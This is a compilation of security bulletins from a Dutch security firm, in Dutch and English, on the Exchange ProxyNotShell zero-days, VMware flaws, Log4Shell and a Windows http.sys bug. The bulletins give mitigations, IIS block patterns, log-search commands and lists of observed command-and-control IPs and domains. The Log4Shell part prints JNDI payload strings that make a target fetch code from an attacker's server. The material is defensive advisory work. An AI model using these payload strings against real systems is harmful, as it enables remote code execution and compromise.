UPDATE: Pinewood Security Bulletin – Microsoft Exchange 0-Day Kwetsbaarheden

 Uit onderzoek is gebleken dat de eerder aanbevolen handelingen die bescherming boden tegen de bekende aanvalsmethode kunnen worden omzeild. Pinewood wil dan ook dringend adviseren om de eerder aangemaakte URL Rewrite te verwijderen en de volgende handelingen uit te voeren:

• Open IIS Manager.
• Select Default Web Site.
• In the Feature View, click URL Rewrite.
• In the Actions pane on the right-hand side, click Add Rule(s)…
• Select Request Blocking and click OK.
• Add the string “.*autodiscover\.json.*Powershell.*” (excluding quotes).
• Select Regular Expression under Using.
• Select Abort Request under How to block and then click OK.
• Expand the rule and select the rule with the pattern .*autodiscover\.json.*Powershell.* and click Edit under Conditions.
• Change the Condition input from {URL} to {REQUEST_URI}

Let op dat het door Microsoft beschikbaar gestelde PowerShell script (EOMTv2.ps1) op het moment van schrijven nog steeds de oude reguliere expressie bevat en daarom geen bescherming biedt.

Het PowerShell script in kwestie is te vinden op de volgende GitHub repository afkomstig van Microsoft:

https://github.com/microsoft/CSS-Exchange/blob/3e4ac9d7c795c6731215bde267ad271001d07d91/Security/src/EOMTv2.ps1

Daarnaast heeft Microsoft voor alle gebruikers van Exchange Server inmiddels het aanvullende advies uitgebracht om Remote PowerShell uit te zetten voor alle gebruikersaccounts in de organisatie die geen administrator zijn.

Voor meer informatie over het uitzetten van Remote PowerShell per gebruikersaccount of voor een groep gebruikersaccounts, zie de volgende documentatie afkomstig van Microsoft:

https://learn.microsoft.com/en-us/powershell/exchange/control-remote-powershell-access-to-exchange-servers?view=exchange-ps

Bronnen

• https://www.gteltsc.vn/blog/warning-new-attack-campaign-utilized-a-new-0day-rce-vulnerability-on-microsoft-exchange-server-12715.html
• https://twitter.com/GossiTheDog/status/1576852912877101057
• https://advisories.ncsc.nl/advisory?id=NCSC-2022-0610

 Beschrijving

Er zijn twee actief misbruikte 0-Day kwetsbaarheden voor verschillende versies van Microsoft Exchange Server bekend. Een 0-Day kwetsbaarheid is een kwetsbaarheid die onbekend is voor de ontwikkelaar van de betreffende software en waar geen beveiligingsupdate voor beschikbaar is.

De eerste kwetsbaarheid die gekenmerkt wordt als CVE-2022-41040 is een Server-Side Request Forgery (SSRF) kwetsbaarheid die een aanvaller in staat stelt om een onbedoelde functionaliteit van een kwetsbare webapplicatie aan te roepen.

De tweede kwetsbaarheid die gekenmerkt wordt als CVE-2022-41082 stelt een aanvaller in staat om Remote Code Execution (RCE) uit te voeren wanneer deze toegang heeft tot PowerShell.

Belangrijk om te weten is dat een potentiële aanvaller geauthentiseerd op de kwetsbare Exhange Server dient te zijn alvorens de kwetsbaarheden in kwestie kunnen worden misbruikt.

 Kwetsbare versies

 Onderstaande producten van Microsoft zijn getroffen door de eerdergenoemde kwetsbaarheden:

• Microsoft Exchange Server 2013
• Microsoft Exchange Server 2016
• Microsoft Exchange Server 2019

Gebruikers van Microsoft Exchange Online hoeven geen actie te ondernemen.

 Oplossing en workarounds

Op het moment van schrijven is er geen beveiligingsupdate beschikbaar. Microsoft heeft kennisgenomen van de betreffende kwetsbaarheden en is bezig met het ontwikkelen van een remedie. Tot die tijd bieden de volgende handelingen bescherming tegen de op dit moment bekende aanvalsmethode:

• Open IIS Manager.
• Select Default Web Site.
• In the Feature View, click URL Rewrite.
• In the Actions pane on the right-hand side, click Add Rule(s)…
• Select Request Blocking and click OK.
• Add the string “.*autodiscover\.json.*Powershell.*” (excluding quotes).
• Select Regular Expression under Using.
• Select Abort Request under How to block and then click OK.
• Expand the rule and select the rule with the pattern .*autodiscover\.json.*Powershell.* and click Edit under Conditions.
• Change the Condition input from {URL} to {REQUEST_URI}

Tot op heden heeft de URL Rewrite module geen impact op de functionaliteit van Exchange Servers.

Let op dat het door Microsoft beschikbaar gestelde PowerShell script (EOMTv2.ps1) op het moment van schrijven nog steeds de oude reguliere expressie bevat en daarom geen bescherming biedt.

Het PowerShell script in kwestie is te vinden op de volgende GitHub repository afkomstig van Microsoft:

https://github.com/microsoft/CSS-Exchange/blob/3e4ac9d7c795c6731215bde267ad271001d07d91/Security/src/EOMTv2.ps1

Geauthentiseerde aanvallers met toegang tot PowerShell Remoting op kwetsbare Exchange Servers zijn in staat om Remote Code Execution (RCE) uit te voeren door middel van CVE-2022-41082. Door onderstaande poorten bijbehorend aan Remote PowerShell te blokkeren kan een eventuele aanval worden gelimiteerd:

• HTTP: 5985
• HTTPS: 5986

Microsoft heeft inmiddels voor alle gebruikers van Exchange Server het aanvullende advies uitgebracht om Remote PowerShell uit te zetten voor alle gebruikersaccounts in de organisatie die geen administrator zijn.

Voor meer informatie over het uitzetten van Remote PowerShell per gebruikersaccount of voor een groep gebruikersaccounts, zie de volgende documentatie afkomstig van Microsoft:

https://learn.microsoft.com/en-us/powershell/exchange/control-remote-powershell-access-to-exchange-servers?view=exchange-ps

Tevens kan het volgende PowerShell commando worden gebruikt om IIS log bestanden (%SystemDrive%\inetpub\logs\LogFiles folder) te controleren op mogelijke exploitatie:

Get-ChildItem -Recurse -Path <Path_IIS_Logs> -Filter “*.log” | Select-String -Pattern ‘powershell.*autodiscover\.json.*\@.*200

Het is raadzaam om de IIS logging te controleren vanaf augustus 2022.

Indien de IIS logging mogelijke exploitatie aanduidt willen wij u verzoeken om contact op te nemen met het Pinewood Security Operations Center (SOC).

Extra info

 Pinewood monitort actief op eventuele verbindingen met IP-adressen die gekenmerkt worden als Indicator of Compromise (IoC).

 Bronnen

• https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/
• https://www.gteltsc.vn/blog/warning-new-attack-campaign-utilized-a-new-0day-rce-vulnerability-on-microsoft-exchange-server-12715.html
• https://twitter.com/GossiTheDog/status/1575580072961982464
• https://twitter.com/GossiTheDog/status/1576852912877101057
• https://advisories.ncsc.nl/advisory?id=NCSC-2022-0610

Vragen

Voor vragen m.b.t. dit issue kunt u contact opnemen met de Pinewood Servicedesk (015 750 36 33) of via e-mail soc@pinewood.nl.

Richard Strooper

CTO / Manager SOC

015 251 36 36

info@pinewood.nl

Beschrijving

Er zijn twee actief misbruikte 0-Day kwetsbaarheden voor verschillende versies van Microsoft Exchange Server bekend. Een 0-Day kwetsbaarheid is een kwetsbaarheid die onbekend is voor de ontwikkelaar van de betreffende software en waar geen beveiligingsupdate voor beschikbaar is.

De eerste kwetsbaarheid die gekenmerkt wordt als CVE-2022-41040 is een Server-Side Request Forgery (SSRF) kwetsbaarheid die een aanvaller in staat stelt om een onbedoelde functionaliteit van een kwetsbare webapplicatie aan te roepen.

De tweede kwetsbaarheid die gekenmerkt wordt als CVE-2022-41082 stelt een aanvaller in staat om Remote Code Execution (RCE) uit te voeren wanneer deze toegang heeft tot PowerShell.

Belangrijk om te weten is dat een potentiële aanvaller geauthentiseerd op de kwetsbare Exhange Server dient te zijn alvorens de kwetsbaarheden in kwestie kunnen worden misbruikt.

Kwetsbare versies

Onderstaande producten van Microsoft zijn getroffen door de eerdergenoemde kwetsbaarheden:

• Microsoft Exchange Server 2013
• Microsoft Exchange Server 2016
• Microsoft Exchange Server 2019

Gebruikers van Microsoft Exchange Online hoeven geen actie te ondernemen.

 Oplossing en workarounds

Op het moment van schrijven is er geen beveiligingsupdate beschikbaar. Microsoft heeft kennisgenomen van de betreffende kwetsbaarheden en is bezig met het ontwikkelen van een remedie. Tot die tijd bieden de volgende handelingen bescherming tegen de op dit moment bekende aanvalsmethode:

• Open the IIS Manager.
• Expand the Default Web Site.
• Select Autodiscover.
• In the Feature View, click URL Rewrite.
• In the Actions pane on the right-hand side, click Add Rules.
• Select Request Blocking and click OK.
• Add String “.*autodiscover\.json.*\@.*Powershell.*” (excluding quotes) and click OK.
• Expand the rule and select the rule with the Pattern “.*autodiscover\.json.*\@.*Powershell.*” and click Edit under Conditions.
• Change the condition input from {URL} to {REQUEST_URI}

Volgens Microsoft heeft de URL Rewrite module geen impact op de functionaliteit van Exchange Servers.

Voor een gevisualiseerde weergave van de bovengenoemde handelingen, zie de volgende blog post afkomstig van Microsoft:

https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/

Geauthentiseerde aanvallers met toegang tot PowerShell Remoting op kwetsbare Exchange Servers zijn in staat om Remote Code Execution (RCE) uit te voeren door middel van CVE-2022-41082. Door onderstaande poorten bijbehorend aan Remote PowerShell te blokkeren kan een eventuele aanval worden gelimiteerd:

• HTTP: 5985
• HTTPS: 5986

Tevens kan het volgende PowerShell commando worden gebruikt om IIS log bestanden (%SystemDrive%\inetpub\logs\LogFiles folder) te controleren op mogelijke exploitatie:

Get-ChildItem -Recurse -Path <Path_IIS_Logs> -Filter “*.log” | Select-String -Pattern ‘powershell.*autodiscover\.json.*\@.*200

Het is raadzaam om de IIS logging te controleren vanaf augustus 2022.

Indien de IIS logging mogelijke exploitatie aanduidt willen wij u verzoeken om contact op te nemen met het Pinewood Security Operations Center (SOC).

Extra info

Pinewood monitort actief op eventuele verbindingen met IP-adressen die gekenmerkt worden als Indicator of Compromise (IoC).

Bronnen

• https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/
• https://www.gteltsc.vn/blog/warning-new-attack-campaign-utilized-a-new-0day-rce-vulnerability-on-microsoft-exchange-server-12715.html
• https://twitter.com/GossiTheDog/status/1575580072961982464

Vragen

Voor vragen m.b.t. dit issue kunt u contact opnemen met de Pinewood Servicedesk (015 750 36 33) of via e-mail soc@pinewood.nl.

Richard Strooper

CTO / Manager SOC

015 251 36 36

info@pinewood.nl

VMWare heeft updates uitgebracht om de kwetsbaarheden  in meerdere VMWare producten te verhelpen. In dit bulletin meer informatie over deze kwetsbaarheden en de updates.

Beschrijving

Ongeauthenticeerde kwaadwillende kunnen deze kwetsbaarheden misbruiken voor het veroorzaken van de volgende categorieën schade:

• Cross-Site Scripting (XSS);
• Omzeilen van authenticatie;
• (Remote) code execution (Administrator/Root rechten);
• (Remote) code execution (gebruikersrechten);
• Toegang tot gevoelige informatie;
• Verkrijgen van verhoogde rechten.

De meest kritische kwetsbaarheden betreffen CVE-2022-31656 (CVSS 9.8) en CVE-2022-31659 (CVSS 8.0). Deze kwetsbaarheden zijn door het NCSC geclassificeerd als HIGH/HIGH (Kans/impact). Op korte termijn wordt voor bovenstaande kwetsbaarheden een publieke Proof-Of-Conceptcode verwacht. De security onderzoeker die deze kwetsbaarheid heeft geïdentificeerd is van plan om de Proof-Of-Conceptcode binnenkort publiekelijk te maken. Om deze reden verwacht Pinewood dat deze kwetsbaarheden op de korte termijn misbruikt zullen worden.

Kwetsbare versies

 Onderstaande VMWare producten zijn getroffen door de eerdergenoemde kwetsbaarheden:

• VMware Workspace ONE Access (Access)
  • Getroffen versies: 21.08.0.1, 21.08.0.0
• VMware Workspace ONE Access Connector (Access Connector)
  • Getroffen versies: 22.05, 21.08.0.1, 21.08.0.0
• VMware Identity Manager (vIDM)
  • Getroffen versies: 3.3.6, 3.3.5, 3.3.4
• VMware Identity Manager Connector (vIDM Connector)
  • Getroffen versies: 3.3.6, 3.3.5, 3.3.4, 19.03.0.1
• VMware vRealize Automation (vRA)
  • Getroffen versies: 8.x, 7.6
• VMware Cloud Foundation
  • Getroffen versies: 4.4.x, 4.3.x, 4.2.x
• vRealize Suite Lifecycle Manager
  • Getroffen versies: 8.x

Oplossing en workarounds

VMWare heeft updates uitgebracht om de kwetsbaarheden te verhelpen. Voor meer informatie omtrent het patchen en de kwetsbare versies, zie [Link] (VMWare advisory) en [Link] (VMWare patch instructions)

VMware heeft mitigerende maatregelen gepubliceerd om het risico van misbruik te beperken indien updates (nog) niet kunnen worden ingezet. Voor meer informatie, zie [Link] (VMWare patch instructions) en [Link] (VMWare FAQ)

Meer informatie

Voor de kwetsbaarheden CVE-2022-31656 en CVE-2022-31659 wordt op korte termijn een publieke Proof-Of-Conceptcode verwacht. De security researcher die deze kwetsbaarheid heeft geïdentificeerd zal binnenkort de Proof-Of-Conceptcode online publiceren. Daarom worden deze kwetsbaarheden ingeschaald als HIGH/HIGH.

Bronnen:

• https://www.vmware.com/security/advisories/VMSA-2022-0021.html
• https://kb.vmware.com/s/article/89096
• https://advisories.ncsc.nl/advisory?id=NCSC-2022-0505
• https://twitter.com/vietpetrus/status/1554485970514608128

Vragen

Heeft u nog vragen  over  dit issue dan  kunt u contact opnemen met de Pinewood Servicedesk (015 750 36 33) of via e-mail soc@pinewood.nl.

Richard Strooper

CTO / Manager SOC

015 251 36 36

info@pinewood.nl

On Friday 10 December, Pinewood issued an alert about a critical vulnerability that exists in Log4j, a Java-based logging framework which is used by many different applications and websites. Because of the widespread use of this solution, combined with the ease of exploitation of the vulnerability, attackers have started to exploit this vulnerability on a large scale. Exploitation attempts have been seen by the Pinewood SOC. This bulletin sums up the information that’s currently available on the vulnerability.

Description

A vulnerability in Log4j 2 allows attackers to remotely inject and exploit malicious content into the logs of a vulnerable system. Log4j supports the usage of variables in logs that will be automatically parsed once they are found. If an attacker succeeds in inserting a specific variable into the log, he can then initiate a so-called Java Naming and Directory Interface (JNDI) lookup. This JNDI lookup can then be used to load and execute a Java class from a remote (attacker controlled) server. An attack can be recognized by a JNDI variable that is sent by the attacker and which may look like:

${jndi:ldap://<ip address>/…}

${jndi:dns://<ip address>/…}

The vulnerability can therefore be mitigated by disabling these lookups or by upgrading Log4j to the latest version.

Proof of Concept (PoC) code has already been released that illustrates how this vulnerability can be exploited. Because exploitation is quite simple, exploitation of the vulnerability is already happening on a large scale.

Affected Products

The vulnerability impacts Log4j 2 up to version 2.14.1. Log4j is integrated into several other products (such as Apache Struts and Apache Solr) which makes these applications vulnerable as well.

As this situation is quickly evolving Pinewood advises to regularly check the articles from the different vendors that are used in your environment for the status and available patches.

There are several resources that are collecting information about all vendors:

• NCSC
• SwitHak

Below is an overview of bulletins issued on this vulnerability by Pinewood vendors. For some this information is still changing, so regularly check the links until the situation is clear.

• Befine (Cryptshare): No official confirmation, but internal research shows Cryptshare is not affected.
• Check Point: Check Point has confirmed no products are vulnerable.
• F5: F5 has confirmed that this vulnerability cannot be exploited in any of its products. Although F5 BIG-IP and F5 BIG-IQ Centralized Management contain the affected code, an attacker could not exploit the code in default, standard, or recommended configurations.
• Fortinet: a limited number of Fortinet products are affected by this vulnerability. Fortinet currently lists the following products as vulnerable (no fixes available yet): FortiSIEM, FortiCASB, FortiPortal, FortiNAC, FortiConvertor, FortiAIOps, FortiPolicy, ShieldX, FortiSOAR, FortiEDR Cloud, others are not.
• HPE Aruba: information expected soon.
• Thales (Safenet): is researching the issue, more information expected on the support portal soon.
• McAfee: the products are currently under review or not affected, no products are known vulnerable at the moment.

Workaround

Apache has documented several workarounds in case a patch cannot be installed. These include:

• Log4j >= 2.10: disable JNDI lookups by setting the system property log4j2.formatMsgNoLookups or environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true. Do this by setting the -Dlog4j2.formatMsgNoLookups command line option or by adding this option to the log4j2.component.properties file on the classpath.
• Log4j < 2.10: remove the JndiLookup and JndiManager classes from the classpath.

Solution

Apache has released Log4j 2.15.0 to address this vulnerability. Unfortunately, Apache only provides source code patches (no binary patches) and therefore you need to apply the patches provided by your application vendor. See the Affected Productssection for an overview of well-known vulnerable products.

Detection / SOC observations

Indicators of Compromise

The Pinewood SOC does see active exploitation attempts from many of the well-known malicious IP addresses. Detection of these attempts is of limited value as these are often untargeted (regular “internet noise”) and do not indicate whether such an attempt is successful.

Upon successful exploitation of the vulnerability, a vulnerable machine will initiate a callback towards an attacker-controlled server. Detecting these callbacks is therefore much more useful as these indicate a successful exploitation attempt. Much of the well-known callback domains and IP addresses are publicly available (see e.g., this Callback Domains Log4j Github repository). In addition to these well-known and reported domains and IP addresses, Pinewood also observed the following C2 servers in exploitation attempts within customer networks (this includes servers used by security researchers to scan the internet for vulnerable installations):

• 45.130.229[.]168
• 45.155.205[.]233
• [attacker-domain][.][32 random characters][.]interactsh.com (104.248.51.21)
• [attacked-domain][.] .ua.log4j-test.xyz (108.61.148.110)
• divd-[32 random characters]_http_Referer[.]log4jdns.x00.it (5.2.67.229)
• http443path[.]kryptoslogic-cve-2021-44228.com (167.99.86.185)
• http80useragent[.]kryptoslogic-cve-2021-44228.com (167.99.86.185)

The Pinewood SOC is actively monitoring outbound connections to these (and other publicly reported C2) IP addresses to determine successful exploitation attempts of this vulnerability within customer networks. Customers are alerted if successful connections to C2 servers were observed.

Exploitation signatures

In addition, several security providers have released signatures to detect malicious connections to Log4j systems:

• Check Point: has released a signature for its IPS module.
• Fortinet: has released signatures for its IPS module in FortiGate, FortiADC, and FortiProxy (version 19.215) to detect and block exploitation of the vulnerability. The signatures are detect by default, blocking must be enabled. Updates were released for FortiAnalyzer and FortiSIEM to include indicators for the Log4j vulnerability.
• Palo Alto: has released the threat ID 91991 signature to automatically block malicious sessions through its NG firewalls with a threat security subscription. Cortex XDR customers can take advantage of the Java Deserialization Exploit protection module and Cortex XSOAR customers can leverage the CVE-2021-44228 -Log4j RCE pack to automatically detect and mitigate the vulnerability.
• Suricata: has released the ET Exploit log4j RCE Attempt (udp ldap) (CVE-2021-44228) signature to detect exploitation attempts. This signature is included in all the network sensors deployed by the Pinewood SOC within customer networks.

References

For more information view the full Apache bulletin: https://logging.apache.org/log4j/2.x/security.html.

Questions

If you have any questions regarding this issue please contact Pinewood Support by phone 015 251 36 33 or via e-mail support@pinewood.nl.

Sebastiaan Kors

CEO

015-251 36 36

sebastiaan.kors@pinewood.nl

On Friday 10 December and Monday 13 December, Pinewood issued bulletins about a critical vulnerability that exists in Log4j, a Java-based logging framework which is used by many different applications and websites. Since then, exploitation of the vulnerability has continued and, in this bulletin, we would like to share an update on the insights that we’ve gained over the past few days.

The vulnerability

For more information on the vulnerability, see our previous bulletins. In conclusion a critical vulnerability in Log4j version 2, which is part of many different software solutions, allows attackers to remotely compromise vulnerable systems by injecting malicious content into the logs of these systems. If an attacker succeeds in inserting a specific variable into the log, he can then initiate a so-called Java Naming and Directory Interface (JNDI) lookup which can then be used to load and execute the malicious content from the remote (attacker controlled) server.

Affected Products and Solutions

As there are many vulnerable software solutions, it’s impossible to sum up all of these solutions, let alone the patches that have been released to fix this issue. As this situation is quickly evolving, Pinewood therefore advises to regularly check the articles from the different vendors that are used in your environment for the status and available patches. In addition, we advise you to regularly check the overview from the Dutch National Cyber Security Center (NCSC-NL) which is continuously updated and very complete; you can find the overview here.

Attention points

There are several attention points that we’ve witnessed over the last few days that we would like to share:

• Scanning for vulnerable systems is very challenging. Our customers have asked us to launch vulnerability scans against their networks and we found that running uncredentialed scans against these networks delivers highly unreliable results, irrespective the type of vulnerability scanner used. These scans do rely on specific callbacks once the vulnerability is triggered. However, these triggers are very application-specific (e.g. malicious content should be injected in specific fields, specific pages on a website should be contacted, etc.) and therefore require specific vulnerability scanning plug-ins for specific software solutions.
• One of the work-arounds is not effective. Two workarounds were previously advised by Apache to prevent exploitation of the vulnerability: 1) to change the system property log4j2.formatMsgNoLookups or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to TRUE or 2) to remove the JndiLookup class from the classpath. It turned out that the first work-around does not prevent exploitation of the vulnerability in all cases and should therefore not be relied upon. Apache now only advises the second workaround.
• Broad scale scanning continues. We see continuous efforts to find vulnerable systems by injecting malicious strings into requests towards internet-facing IP addresses. If a vulnerable system is/was connected to the internet, it is highly likely that it was hit by such a scan.
• Limiting outbound communication can greatly reduce the risk of exploitation attempts. The exploit attempts that we’ve seen, rely on connections back to attacker-controlled servers. If a vulnerable machine can only receive connections from internet-connected systems but cannot initiate connections back, this can greatly reduce the chances of a vulnerable systems getting compromised.
• New exploits are quickly used once they are published. As described earlier, the attack vector may vary amongst different software solutions. Exploits showing how a vulnerability can be exploited in a specific software solution are regularly published on the internet. As soon as such an exploit is published, it will only take a few minutes or hours before active use of it starts.

Advise

Based on our experiences with this vulnerability and its exploitation attempts we advise you the following:

• Compile an inventory of systems running Log4j version 2. Start with internet-facing systems first and then continue with the systems that are not directly internet-connected. Create this overview by issuing specific commands on all your systems, by running a credentialed vulnerability scan against your systems or by utilizing existing tooling within your network that has software inventory capabilities (e.g. Defender for Endpoint). If you prefer to run commands, you can use these:For Windows (Powershell):
  gci ‘C:\’ -rec -force -include *.jar -ea 0 | foreach {select-string “JndiLookup.class” $_} | select -exp PathFor Linux (find):
  find / 2>/dev/null -regex “.*.jar” -type f | xargs -I{} grep JndiLookup.class “{}”
• Disconnect vulnerable systems from the internet ASAP. Because scans happen continuously and around the clock, you should assume that the vulnerability was already exploited or will be exploited very soon. It is therefore essential to disconnect a vulnerable system from the internet ASAP or – if this is not possible – either install the patch provided by your software vendor or implement the workaround if such as patch is not yet available.
• Check your logging on vulnerable systems. Because attacks rely on injecting malicious payloads in your logs, you should be able to find these attacks by checking your logs for signs of attacks. Logs of attacked systems typically contain entries with a string starting with “${jndi:“ and finding such a string in your logs is an indicator of attack. Be reminded that having such a string in your logs does not mean that your system is compromised per se, it’s “just” an attempt to do so that should be investigated further.

Questions

If you have any questions regarding this issue please contact Pinewood Support by phone 015 251 36 33 or via e-mail support@pinewood.nl.

Sebastiaan Kors

CEO

015-251 36 36

sebastiaan.kors@pinewood.nl

Pinewood Security Bulletin – Critical vulnerabilities in Microsoft Windows

Multiple vulnerabilities have been found in Microsoft Windows. Two of these vulnerabilities are given the CVSS-score of 9.8, which measures the vulnerabilities as highly critical. Both vulnerabilities can be used by unauthenticated attackers for remote code execution. The highest threat is the vulnerability of CVE-2022-21907.

Description

CVE-2022-21907: the vulnerability is in the HTTP Protocol stack (http.sys) and an unauthenticated attacker can remotely execute random code on a vulnerable system by sending specially crafted network packets. Microsoft indicates that this vulnerability is possibly ‘wormable’. This means that without interference of users malicious software can be spread to other vulnerable systems. Although there is no Proof-of-Concept of the exploit available at the time of writing, the NCSC expects this to be available soon.

CVE-2022-21849: the vulnerability is in the Microsoft IKE Key Exchange for IPSec and can only be used when IPSec is active. The vulnerability can help attackers to execute remote code.

Affected Products

The following products needs updates:

• Windows 10 Version 1809, 20H2, 21H1, 21H2
• Windows 11
• Windows Server 2016, 2019, 2022

Exploitation is not limited to server application, client software can also be affected.

Workaround

In Windows Server 2019 and Windows 10 version 1809, the HTTP Trailer Support feature that contains the vulnerability is not active by default. The following registry key must be configured to introduce the vulnerable condition:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\HTTP\Parameters\

“EnableTrailerSupport”=dword:00000001

This mitigation does not apply to the other affected versions.

Solution

Microsoft has released new updates to address the vulnerability. There have been reports that this update may not work well on servers configured as a L2TP VPN server, Pinewood recommends to take this into consideration before deploying the update.

References

For more information view the full NCSC article https://www.ncsc.nl/actueel/advisory?id=NCSC-2022-0014

Questions

If you have any questions regarding this issue please contact Pinewood Support by phone 015 251 36 33 or via e-mail support@pinewood.nl.

Richard Strooper

CTO / Manager SOC

015 251 36 36

info@pinewood.nl